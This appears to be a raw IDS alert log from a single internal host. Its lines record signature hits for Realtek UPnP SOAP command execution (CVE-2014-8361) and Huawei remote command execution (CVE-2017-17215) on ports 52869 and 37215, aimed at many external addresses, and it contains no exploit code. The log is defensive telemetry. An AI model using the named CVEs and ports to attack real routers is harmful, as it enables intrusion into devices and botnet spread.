07/20/24-23:01:46.159165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43160	52869	192.168.2.23	172.42.36.143
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53158	37215	192.168.2.23	197.197.73.14
07/20/24-23:01:02.060344	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50014	37215	192.168.2.23	197.27.25.91
07/20/24-23:01:42.619336	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34018	52869	192.168.2.23	42.202.134.116
07/20/24-23:01:55.536863	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49478	52869	192.168.2.23	96.112.20.112
07/20/24-23:01:52.242138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47118	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:12.861753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43498	52869	192.168.2.23	144.152.137.9
07/20/24-23:01:24.618795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38894	52869	192.168.2.23	39.181.226.152
07/20/24-23:01:45.261796	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47412	52869	192.168.2.23	162.239.164.172
07/20/24-23:01:42.908066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46248	52869	192.168.2.23	147.72.210.150
07/20/24-23:01:52.171350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44834	52869	192.168.2.23	75.3.82.5
07/20/24-23:01:44.020551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45532	52869	192.168.2.23	58.172.86.110
07/20/24-23:01:44.514415	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40638	52869	192.168.2.23	58.25.190.68
07/20/24-23:01:44.814790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55022	52869	192.168.2.23	119.211.191.173
07/20/24-23:01:47.798104	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44152	52869	192.168.2.23	192.50.131.250
07/20/24-23:01:55.105161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40332	52869	192.168.2.23	62.211.74.184
07/20/24-23:02:09.106165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45766	52869	192.168.2.23	58.172.86.110
07/20/24-23:00:57.222090	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41354	37215	192.168.2.23	197.93.123.78
07/20/24-23:01:02.109665	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40882	52869	192.168.2.23	91.33.144.77
07/20/24-23:01:42.519318	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51790	52869	192.168.2.23	8.226.239.105
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50504	37215	192.168.2.23	197.233.197.166
07/20/24-23:01:46.877606	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34746	52869	192.168.2.23	97.235.141.174
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39608	37215	192.168.2.23	161.37.173.233
07/20/24-23:01:21.952783	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36672	37215	192.168.2.23	41.202.148.115
07/20/24-23:01:34.053062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53248	37215	192.168.2.23	41.4.72.224
07/20/24-23:01:47.990801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43992	52869	192.168.2.23	208.128.19.202
07/20/24-23:01:44.611556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53552	52869	192.168.2.23	144.196.193.162
07/20/24-23:02:00.376572	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51538	52869	192.168.2.23	80.92.70.69
07/20/24-23:01:24.876750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57980	37215	192.168.2.23	90.31.237.217
07/20/24-23:01:43.903732	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34390	52869	192.168.2.23	178.242.0.237
07/20/24-23:01:13.321371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49116	52869	192.168.2.23	78.146.199.168
07/20/24-23:01:59.593868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42564	52869	192.168.2.23	118.42.225.58
07/20/24-23:01:41.347676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52512	52869	192.168.2.23	153.109.210.254
07/20/24-23:01:43.498157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56966	52869	192.168.2.23	199.90.7.168
07/20/24-23:00:59.201033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43482	37215	192.168.2.23	198.254.9.254
07/20/24-23:01:21.931985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60650	37215	192.168.2.23	157.111.51.3
07/20/24-23:01:47.902509	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50868	52869	192.168.2.23	48.202.169.141
07/20/24-23:01:31.978142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60578	37215	192.168.2.23	197.39.192.146
07/20/24-23:01:45.827400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41062	52869	192.168.2.23	126.163.211.196
07/20/24-23:01:01.371551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43256	52869	192.168.2.23	206.208.92.27
07/20/24-23:01:08.668802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60212	52869	192.168.2.23	128.89.159.185
07/20/24-23:01:44.565131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54952	52869	192.168.2.23	35.100.148.20
07/20/24-23:01:41.340201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56924	52869	192.168.2.23	182.49.153.25
07/20/24-23:01:41.370228	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58642	52869	192.168.2.23	48.9.123.124
07/20/24-23:01:45.108910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36110	52869	192.168.2.23	203.219.226.207
07/20/24-23:01:43.328792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50676	52869	192.168.2.23	174.138.8.92
07/20/24-23:01:43.167781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33470	52869	192.168.2.23	64.212.158.191
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51098	37215	192.168.2.23	156.104.182.219
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51412	37215	192.168.2.23	46.35.149.243
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49142	37215	192.168.2.23	157.69.249.104
07/20/24-23:01:12.805765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35282	52869	192.168.2.23	131.120.226.33
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56136	37215	192.168.2.23	41.150.236.246
07/20/24-23:01:53.357099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53044	52869	192.168.2.23	167.225.20.24
07/20/24-23:00:57.221145	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44014	37215	192.168.2.23	143.179.199.146
07/20/24-23:01:51.290014	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41124	52869	192.168.2.23	74.243.121.184
07/20/24-23:02:06.083203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51036	52869	192.168.2.23	31.110.77.22
07/20/24-23:01:21.928521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38596	37215	192.168.2.23	5.7.138.144
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51062	37215	192.168.2.23	197.12.203.6
07/20/24-23:01:42.769238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37584	52869	192.168.2.23	177.147.32.222
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36186	37215	192.168.2.23	157.230.17.56
07/20/24-23:01:32.046652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42354	37215	192.168.2.23	157.109.141.179
07/20/24-23:02:20.005310	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50682	52869	192.168.2.23	154.161.89.111
07/20/24-23:01:01.363756	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45268	52869	192.168.2.23	109.80.210.12
07/20/24-23:01:27.668073	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60144	37215	192.168.2.23	197.43.247.234
07/20/24-23:01:31.328855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44950	52869	192.168.2.23	36.230.221.168
07/20/24-23:01:31.986571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41958	37215	192.168.2.23	157.195.52.119
07/20/24-23:01:01.630356	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56840	52869	192.168.2.23	42.114.143.158
07/20/24-23:01:07.062666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36856	37215	192.168.2.23	197.191.219.145
07/20/24-23:01:24.883171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60342	37215	192.168.2.23	197.77.35.64
07/20/24-23:01:49.035612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59540	52869	192.168.2.23	72.136.42.217
07/20/24-23:01:41.474539	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49394	52869	192.168.2.23	19.135.72.216
07/20/24-23:01:14.103467	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48232	37215	192.168.2.23	197.92.118.78
07/20/24-23:02:01.280564	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41996	52869	192.168.2.23	157.246.241.121
07/20/24-23:01:43.203681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39616	52869	192.168.2.23	169.102.32.106
07/20/24-23:01:43.185498	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59604	52869	192.168.2.23	48.248.156.6
07/20/24-23:02:37.123706	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36914	52869	192.168.2.23	123.137.152.162
07/20/24-23:01:02.504282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43928	52869	192.168.2.23	169.107.25.12
07/20/24-23:01:51.785967	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37182	52869	192.168.2.23	116.126.39.243
07/20/24-23:01:04.098909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33448	37215	192.168.2.23	157.156.131.187
07/20/24-23:01:00.633633	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37138	37215	192.168.2.23	197.229.227.49
07/20/24-23:01:10.763630	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36860	52869	192.168.2.23	104.80.144.32
07/20/24-23:01:53.494330	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60812	52869	192.168.2.23	115.121.114.198
07/20/24-23:01:43.020186	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48454	52869	192.168.2.23	71.205.8.144
07/20/24-23:01:49.011895	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52832	52869	192.168.2.23	144.14.202.149
07/20/24-23:01:44.670958	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42826	52869	192.168.2.23	105.232.226.131
07/20/24-23:01:46.384516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54890	52869	192.168.2.23	14.96.36.55
07/20/24-23:01:04.982233	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33924	52869	192.168.2.23	168.229.219.185
07/20/24-23:01:40.355589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39320	37215	192.168.2.23	130.2.207.228
07/20/24-23:01:01.772213	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57978	52869	192.168.2.23	184.112.202.180
07/20/24-23:01:57.787786	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41992	52869	192.168.2.23	188.56.34.102
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45724	37215	192.168.2.23	73.38.236.100
07/20/24-23:01:43.164529	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35910	52869	192.168.2.23	85.91.68.35
07/20/24-23:00:59.211046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52812	37215	192.168.2.23	41.248.83.42
07/20/24-23:01:11.636599	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38704	37215	192.168.2.23	197.174.117.103
07/20/24-23:01:08.590937	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34124	52869	192.168.2.23	196.57.233.80
07/20/24-23:01:08.668802	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38256	52869	192.168.2.23	205.187.52.139
07/20/24-23:01:00.637175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54302	37215	192.168.2.23	197.133.25.253
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49424	37215	192.168.2.23	157.126.129.17
07/20/24-23:01:44.161942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47250	52869	192.168.2.23	18.7.171.33
07/20/24-23:01:47.455724	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41808	52869	192.168.2.23	185.97.134.51
07/20/24-23:01:46.092258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55428	52869	192.168.2.23	45.99.89.219
07/20/24-23:01:10.517854	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58038	52869	192.168.2.23	183.125.8.233
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57714	37215	192.168.2.23	197.53.165.17
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34552	37215	192.168.2.23	41.52.85.114
07/20/24-23:01:00.640312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35972	37215	192.168.2.23	209.253.85.199
07/20/24-23:01:45.370481	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53044	52869	192.168.2.23	34.173.234.248
07/20/24-23:01:54.489563	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43520	52869	192.168.2.23	158.218.4.185
07/20/24-23:01:14.126869	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40750	37215	192.168.2.23	41.199.61.192
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59300	37215	192.168.2.23	41.119.245.174
07/20/24-23:01:52.447066	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55858	52869	192.168.2.23	145.241.92.58
07/20/24-23:01:02.127340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50410	37215	192.168.2.23	157.86.17.89
07/20/24-23:01:04.999060	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46928	52869	192.168.2.23	58.116.31.11
07/20/24-23:01:46.663212	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48812	52869	192.168.2.23	162.122.16.215
07/20/24-23:01:57.022868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34466	52869	192.168.2.23	68.238.48.34
07/20/24-23:01:47.644828	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55828	52869	192.168.2.23	90.205.27.15
07/20/24-23:01:13.596807	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36092	52869	192.168.2.23	32.75.241.221
07/20/24-23:01:57.690792	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48132	52869	192.168.2.23	119.129.124.77
07/20/24-23:01:53.384793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46206	52869	192.168.2.23	49.96.236.62
07/20/24-23:01:04.605795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35024	52869	192.168.2.23	155.161.137.123
07/20/24-23:01:01.892361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57358	52869	192.168.2.23	218.167.11.188
07/20/24-23:01:20.596563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52728	52869	192.168.2.23	20.24.147.17
07/20/24-23:01:54.153862	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55358	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32876	37215	192.168.2.23	197.123.66.12
07/20/24-23:01:41.392528	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53270	52869	192.168.2.23	185.161.24.118
07/20/24-23:02:00.376572	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51538	52869	192.168.2.23	80.92.70.69
07/20/24-23:01:31.327808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52150	52869	192.168.2.23	38.122.84.31
07/20/24-23:01:48.275988	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48426	52869	192.168.2.23	107.5.49.194
07/20/24-23:01:02.066908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52194	37215	192.168.2.23	41.140.127.150
07/20/24-23:00:57.221888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47604	37215	192.168.2.23	197.178.33.225
07/20/24-23:01:11.630543	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43640	37215	192.168.2.23	41.206.100.188
07/20/24-23:01:01.157005	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44414	52869	192.168.2.23	12.55.180.198
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37398	37215	192.168.2.23	197.105.28.46
07/20/24-23:01:42.650744	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53702	52869	192.168.2.23	143.254.203.194
07/20/24-23:01:00.635367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56890	37215	192.168.2.23	197.10.234.194
07/20/24-23:01:25.484881	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59906	52869	192.168.2.23	79.157.163.186
07/20/24-23:01:42.535137	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43620	52869	192.168.2.23	104.24.229.93
07/20/24-23:01:42.213822	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43154	52869	192.168.2.23	163.18.131.94
07/20/24-23:01:54.375005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54766	52869	192.168.2.23	157.156.14.69
07/20/24-23:01:42.196522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57156	52869	192.168.2.23	9.196.233.159
07/20/24-23:01:20.593640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44004	52869	192.168.2.23	53.137.194.88
07/20/24-23:01:34.044537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52198	37215	192.168.2.23	157.229.87.54
07/20/24-23:01:43.190671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45934	52869	192.168.2.23	130.131.47.204
07/20/24-23:01:11.634077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57988	37215	192.168.2.23	157.55.166.124
07/20/24-23:01:46.423677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35350	52869	192.168.2.23	37.189.26.199
07/20/24-23:00:57.221570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43176	37215	192.168.2.23	157.215.252.1
07/20/24-23:01:42.535137	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56094	52869	192.168.2.23	171.216.201.201
07/20/24-23:01:42.437265	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56658	52869	192.168.2.23	102.22.43.107
07/20/24-23:01:43.498157	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56966	52869	192.168.2.23	199.90.7.168
07/20/24-23:01:45.432263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53548	52869	192.168.2.23	204.16.50.125
07/20/24-23:01:01.326437	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48448	52869	192.168.2.23	191.79.195.70
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46618	37215	192.168.2.23	118.76.56.217
07/20/24-23:01:08.560530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59256	52869	192.168.2.23	42.114.143.158
07/20/24-23:01:42.042815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51644	52869	192.168.2.23	114.234.94.36
07/20/24-23:01:55.262010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40522	52869	192.168.2.23	105.145.121.113
07/20/24-23:01:04.739839	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44240	52869	192.168.2.23	153.94.71.254
07/20/24-23:01:08.590938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39990	52869	192.168.2.23	150.171.160.226
07/20/24-23:01:04.014688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49028	37215	192.168.2.23	197.202.235.206
07/20/24-23:01:08.572790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56760	52869	192.168.2.23	24.167.37.167
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33910	37215	192.168.2.23	131.224.25.117
07/20/24-23:01:27.649945	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41624	37215	192.168.2.23	164.205.240.199
07/20/24-23:01:41.392527	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48730	52869	192.168.2.23	202.140.13.200
07/20/24-23:01:44.302920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33286	52869	192.168.2.23	148.6.1.136
07/20/24-23:01:31.333805	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36734	52869	192.168.2.23	168.91.139.254
07/20/24-23:01:49.946258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54036	52869	192.168.2.23	45.99.89.219
07/20/24-23:01:03.242934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46470	52869	192.168.2.23	64.86.139.164
07/20/24-23:01:45.072641	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50632	52869	192.168.2.23	149.136.40.221
07/20/24-23:02:11.506914	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36974	52869	192.168.2.23	19.55.206.132
07/20/24-23:01:49.810143	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37980	52869	192.168.2.23	57.114.247.43
07/20/24-23:01:41.380677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46780	52869	192.168.2.23	191.177.238.243
